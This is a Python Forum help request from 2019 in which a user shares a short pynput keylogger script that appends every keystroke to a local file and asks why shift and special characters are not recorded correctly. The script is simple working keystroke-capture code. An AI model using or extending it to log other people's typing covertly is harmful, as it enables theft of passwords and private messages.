Python Forum
Pynput doesn't recognize shift button and special characters - Printable Version

+- Python Forum (https://python-forum.io)
+-- Forum: Python Coding (https://python-forum.io/forum-7.html)
+--- Forum: General Coding Help (https://python-forum.io/forum-8.html)
+--- Thread: Pynput doesn't recognize shift button and special characters (/thread-19853.html)



Pynput doesn't recognize shift button and special characters - VirtualDreamer - Jul-17-2019

Hello fellow Python programmers! I'm creating a keylogger using Pynput library(not for malicious purpose of course) and I'm having a hard time figuring out why it can't recognize the shift button. Here's my code:

from pynput.keyboard import Listener


# fucntion to call when a key is pressed
def on_press(key):
    key_char = str(key)  # converts the key code data type to string and stores it in key_char variable
    key_char = key_char.replace("'", "")

    if key_char == "Key.space":
        key_char = " "
    if key_char == "Key.backspace":
        key_char = ""
    if key_char == "Key.enter":
        key_char = "\n"
    if key_char == "Key.shift_r":
        key_char = ''

    with open("pyInput.txt", "a") as f:  # same as f = open("pyInput.txt" , "a") f.write(key_char), f.close()
        f.write(key_char)


with Listener(
        on_press=on_press)as listen:  # LISTENER # on_press method and when pressed, log_text function will be called stored in listen variable
    listen.join()  # joins the characters together with single quotes
in "if key_char == "Key.shift_r":" line, even if I change it to upper() function, it capitalizes the Key.shift_r string and not the characters being pressed. The other if statements are working. Any help will be appreciated <3